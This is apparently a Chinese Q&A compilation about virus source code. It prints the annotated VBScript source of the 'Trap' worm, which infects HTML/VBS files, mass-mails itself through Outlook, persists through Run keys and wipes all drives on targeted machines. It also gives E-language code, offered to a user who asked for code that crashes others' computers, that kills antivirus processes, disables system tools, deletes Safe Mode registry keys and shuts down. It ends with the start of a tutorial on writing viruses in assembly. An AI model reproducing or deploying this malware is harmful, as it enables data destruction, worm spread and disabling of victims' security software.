c病毒源碼
1. 如何查看病毒的源代碼
源代碼(也稱源程序),是指一系列人類可讀的計算機語言指令。
在現代程序語言中,源代碼可以是以書籍或者磁帶的形式出現,但最為常用的格式是文本文件,這種典型格式的目的是為了編譯出計算機程序。計算機源代碼的最終目的是將人類可讀的文本翻譯成為計算機可以執行的二進制指令,這種過程叫做編譯,通過編譯器完成。
作用 :
源代碼主要功用有如下2種作用:
生成目標代碼,即計算機可以識別的代碼。
對軟體進行說明,即對軟體的編寫進行說明。為數不少的初學者,甚至少數有經驗的程序員都忽視軟體說明的編寫,因為這部分雖然不會在生成的程序中直接顯示,也不參與編譯。但是說明對軟體的學習、分享、維護和軟體復用都有巨大的好處。因此,書寫軟體說明在業界被認為是能創造優秀程序的良好習慣,一些公司也硬性規定必須書寫。
需要指出的是,源代碼的修改不能改變已經生成的目標代碼。如果需要目標代碼做出相應的修改,必須重新編譯。
2. 給個c語言病毒代碼.....要復制的....越長越好
下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 javaScript 編碼技術),使得普通用戶無法看到病毒原碼,但在被感染 VBS 文件中並沒有加密,於是作為一個入口點,我非常輕松地得到所有源碼。
'@ thank you! make use of other person to get rid of an enemy, trap _2001
'這句話的意思可能是「借刀殺人」,然後是病毒名稱「陷阱」
on error resume next
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE
dim whb(), title(10)
smailc = 4
Redim whb(smailc) 』白宮相關人員郵件名單
whb(0) = "[email protected]"
whb(1) = "[email protected] "
whb(2) = "[email protected]"
whb(3) = "[email protected]"
'發送郵件的主題
title(0) = "Thanks for helping me!"
title(1) = "The police are investigating the robbery"
title(2) = "an application for a job "
title(3) = "The aspects of an application process pertinent to OSI"
title(4) = "What a pleasant weather. Why not go out for a walk?"
title(5) = "These countries have gone / been through too many wars"
title(6) = "We've fixed on the 17th of April for the wedding"
title(7) = "The wind failed and the sea returned to calmness."
title(8) = "the sitting is open!"
title(9) = ""
defpath = "C:\Readme.html" ' 病毒文件
MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
main
sub main() '主程序
on error resume next
dim w_s
w_s= WScript.ScriptFullName '得到病毒文件本身的路徑
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象
if getErr then '辨認病毒狀態
Randomize '初始化隨機種子
ra = int(rnd() * 7) '產生隨機數
doucment.write title(ra) ' 寫隨機內容
ExecuteMail '執行郵件狀態時的程序
else
ExecutePage '執行 WEB 頁狀態時的程序
end if
else
ExecuteVbs '執行 VBS 文件狀態時的程序
end if
end sub
Function getErr() 忽略錯誤
if Err.number<>0 then
getErr=true
Err.Clear
else
getErr=false
end if
end function
sub ExecutePage() 'WEB 頁狀態時的程序
on error resume next
dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf
Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼
Js_Str = GetJavaScript() ' 得到 Javascript 代碼
Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼
Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼
Gf
'定義病毒文件的路徑
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
'創建病毒文件
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf, 2, true)
vf.write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdsf2, 2, true)
vf.Write Vbs_Str
vf.close
set vf = fso.OpenTextFile (wdf2, 2, true)
vf.write Html_Str
vf.close
set vf = fso.OpenTextFile (wdf3, 2, true)
vf.write Code_Str
vf.close
修改注冊表,讓病毒文件在每一次計算機啟動自動執行
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
SendMail ' 執行發送郵件程序
Hackpage ' 執行感染網站程序
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟
call SearchHTML(x & "\") '執行文件感染程序
end if
next
if TestUser then '檢查用戶
Killhe 執行刪除文件操作
else
if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日
set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件
vf.write MakeScript ("window.navigate ('c:/con/con');", false)
vf.close
Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動
window.navigate "c:/con/con" '立刻藍屏,利用 Windows BUG,能引起 Win9X 系統100%死機(即無法恢復的藍屏)
else '如不是7.5
if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm
end if
end if
if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件
end sub
sub ExecuteMail() '郵件狀態時執行的程序
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write() '創建 C:\Readme.html 文件
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口
end sub
sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時所執行的程序
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if TestUser then Killhe
end sub
sub Gf() '得到系統路徑
w1=fso.GetSpecialFolder(0) & "\"
w2=fso.GetSpecialFolder(1) & "\"
end sub
function Readreg(key_str) '讀注冊表
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype) '寫注冊表
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing
end function
function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _
"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"<" & "/BOAD><" & "/HTML>"
end Function
function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜,不再描述
if iHTML then
dim DocuWrite
DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _
"jword" & "+'\n</'" & "+'SCRIPT>');"
DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _
"nword" & "+'\n</'" & "+'SCRIPT>');"
MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"
else
MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"
end if
end function
function GetScriptCode(Languages) ' 得到不同腳本語言的代碼
dim soj
for each soj in document.scripts
if LCase(soj.Language) = Languages then
if Languages = "javascript" then
if len(soj.Text)> 200 then
else
GetScriptCode = soj.Text
exit function
end if
else
GetScriptCode = soj.Text
exit function
end if
end if
next
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser() '檢測用戶過程
on error resume next
dim keys(6), i, tmpStr, Wnet
'特定用戶關鍵詞
keys(0) = "white home"
keys(1) = "central intelligence agency"
keys(2) = "bush"
keys(3) = "american stock exchang"
keys(4) = "chief executive"
keys(5) = "usa"
TestUser = false
Set Wnet = CreateObject("WScript.Network") '創建網路對象
'下面一共3個循環,作用一樣,是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語,一旦含有程序將返回」真」的條件,從而對這些用戶的文件進行瘋狂刪除。
tmpStr = LCase(Wnet.UserName) '
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.ComputerName)
for i=0 to 4
if InStr(tmpStr, keys(i)) > 0 then
TestUser=true
exit function
end if
next
tmpStr = LCase(Wnet.UserDomain)
for i=0 to 4
if InStr(tmpStr, keys(i)) >0 then
TestUser=true
exit function
end if
next
Set Wnet = Nothing
end function
function SendMail() '發送文件過程
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件
主題是隨機的,此過程與「歡樂時光「類似,所以不再描述
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html"
set Oa = CreateObject("Outlook.Application")
set wab = Oa.GetNameSpace("MAPI")
for j = 1 to wab.AddressLists.Count
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count
if (Eaec > Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
if (areg = "") then
set fm = wab.CreateItem(0)
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Attachments at
.Send
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。
for j = 1 to smailc
arrsm = whb(j)
set fm = wab.CreateItem(0)
ra = int(rnd() * 7)
with fm
.Recipients.Add arrsm
.Subject = title(ra)
.Body = title(ra)
.Send
end with
next
set Oa = Nothing
window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送
end function
sub SearchHTML(Path) '搜索可傳染文件的過程
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub
if Path <> "E:\" then exit sub
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執行也會執行病毒代碼,而且不會影響原文件的正常執行。
if Code_Str<>"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe() '全盤刪除文件過程
on error resume next
dim codeText, ko,adi, kd, kh, ks,kf,kfs
codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_
"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中,下次開機時,刪除整個硬碟,並沒有任何提示
set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)
ko.Write vbcrlf & codeText
ko.Close
'接著立刻刪除其它盤的所有文件
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 then
set kd = fso.GetFolder(x & "\")
set kfs = kd.Files
for each kf in kfs
kf.Delete
next
set ks = kd.SubFolders
for each kh in ks
kh.Delete
next
end if
next
do while 1 '讓系統立刻死機
window.open ""
loop
end sub
sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
'判斷是否為網站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網站的用戶
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程
on error resume next
dim tso, buffer,sr
if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer '插入到文件頭
tso.close
end if
else
if mid(buffer, 3, 2) <> "'@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。
3. 求易語言病毒源碼,最好能讓別人死機的源碼,急求,高分
.版本 2
.支持庫 shell
.程序集 窗口程序集1
.子程序 _按鈕1_被單擊
' 繞過殺毒軟體防禦:
運行 (「taskkill /f /im kavsvc.exe」, 假, 1)
運行 (「taskkill /f /im KVXP.kxp」, 假, 1)
運行 (「taskkill /f /im Rav.exe」, 假, 1)
運行 (「taskkill /f /im Ravmon.exe」, 假, 1)
運行 (「taskkill /f /im Mcshield.exe」, 假, 1)
運行 (「taskkill /f /im VsTskMgr.exe」, 假, 1)
' 修改系統時間:
置現行時間 (到時間 (「8888年8月8日」))
' 禁用任務管理器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr」, 0)
' 禁用注冊表:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools」, 1)
' 隱藏開始中的運行 禁止WIN2000/XP通過任務管理器創建新任務:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun」, 1)
' 隱藏「MS-DOS方式」下的磁碟驅動器。不管是在「我的電腦」里,或「MS-DOS」方式下都看不見了:
寫注冊項 (3, 「SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled」, 1)
' 隱藏開始中的關機:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose」, 1)
' 隱藏開始中的搜索:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind」, 1)
' OVER360防禦:
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\ExecAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\MonAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\SiteAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\UDiskAccess」, 0)
' 結束360進程
運行 (「taskkill /f /im 360tray.exe」, 假, 1)
' 隱藏所有驅動器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives」, 4294967295)
' 禁止所有驅動器:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive」, 4294967295)
' 隱藏文件夾選項:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions」, 1)
' 將桌面對象隱藏:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop」, 1)
' 隱藏開始中的關機:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose」, 1)
' 隱藏開始中的搜索:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind」, 1)
' 這條有兩種情況。1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0啟用兩項
寫注冊項 (3, 「Software\Policies\Microsoft\Windows\System\DisableCMD」, 1)
' 隱藏主頁選項組:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage」, 1)
' 隱藏IE文件菜單:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu」, 1)
' 隱藏收藏夾菜單:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites」, 1)
' 禁用IE列印功能:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting」, 1)
' 隱藏Internet選項:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions」, 1)
' 禁止IE查看源文件:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource」, 1)
' 禁用IE下載功能:
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803」, 3)
' 禁止右鍵關聯菜單:
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu」, 1)
' 修改文件關聯:
寫注冊項 (1, 「.txt\」, 「jpegfile」)
寫注冊項 (1, 「.inf\」, 「jpegfile」)
寫注冊項 (1, 「.reg\」, 「jpegfile」)
寫注冊項 (1, 「.exe\」, 「jpegfile」)
' 無法進入安全模式:
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{36FC9E60-C465-11CF-8056-444553540000}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E965-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E969-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96A-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96B-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E96F-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E972-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E973-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E974-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E975-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E977-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97B-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E97D-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E980-E325-11CE-BFC1-08002BE10318}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{71A27CDD-812A-11D0-BEC7-08002BE2092F}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{745A17A0-74D3-11D0-B6FE-00A0C90F57DA}\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AFD\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AppMgmt\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Base\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot Bus Extender\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Boot file system\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Browser\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\CryptSvc\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DcomLaunch\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Dhcp\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmadmin\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmboot.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmio.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmload.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\dmserver\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\DnsCache\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\EventLog\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\File system\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Filter\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\HelpSvc\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ip6fw.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\ipnat.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanServer\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LanmanWorkstation\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\LmHosts\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Messenger\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NDIS Wrapper\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Ndisuio\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOS\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBIOSGroup\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetBT\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetDDEGroup\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Netlogon\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetMan\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Network\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetworkProvider\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NtLmSsp\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PCI Configuration\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PlugPlay\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP Filter\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\PNP_TDI\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Primary disk\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpcdd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpdd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdpwd.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\rdsessmgr\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\RpcSs\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SCSI Class\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sermouse.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SharedAccess\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\sr.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\SRService\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Streams Drivers\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\System Bus Extender\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Tcpip\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\TDI\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdpipe.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\tdtcp.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\termservice\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vga.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\vgasave.sys\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinMgmt\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WZCSVC\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\Ndisuio\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\Network\」)
刪除注冊項 (4, 「SYSTEM\CurrentControlSet\Control\SafeBoot\」)
' 關機:
關閉系統 (2, 真)
4. 怎麼編寫病毒程序
問題一:如何編寫程序病毒? 那首先要對系統底層的東西比較熟悉,如果編網路病毒,還要對網路協議很了解。並且要精通至少一門編程語言,一般寫病毒用a *** (匯編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但匯編知識是寫高級病毒必須的知識。
問題二:如何寫一個簡單的病毒程序? 前些天學病毒這門技術著實吃了很多苦頭,走了很多彎路,盡管按我的知識水平,病毒已經是水到渠成的學習內容了。但是我現在學了入門才發現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到「牛」的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多「專業」,多了些贅述。
在你看之前,你應該知道這只是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好准備個PE表在旁邊。寫病毒程序可以使用很多種語言來寫比如C,匯編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程序的還是匯編語言。匯編語言底層,靈活,速度快,體積小的優勢能將一個病毒程序發揮到極至,通常一個程序寫出來才幾千位元組就包含了所有的功能。一般一個病毒都有如下幾個功能:
一 代碼重定位
二 自己找到所需API地址
三 搜索文件、目錄
四 感染文件
五 破壞系統或文件(隨便你了)
其中一,二項功能是必要的,五項功能是可選的。而一個病毒程序感染文件的功能是它的核心,是衡量它質量的重要標准。
(一)代碼的重定位
一個變數或函數其實是一個內存地址,在編譯好後,程序中的指令通過變數或函數的內存地址再去存取他們,這個地址是個絕對地址。如果你將代碼插入到其他任何地方,再通過原來編譯時產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程序時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程序基地址,以後變數和函數作為偏移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏匯編語言寫病毒,請盡量使用ebx做基地址指針,不要使用ebp,因為ebp在調用帶參數的函數時會改變。
(二)自己取得所需的API地址
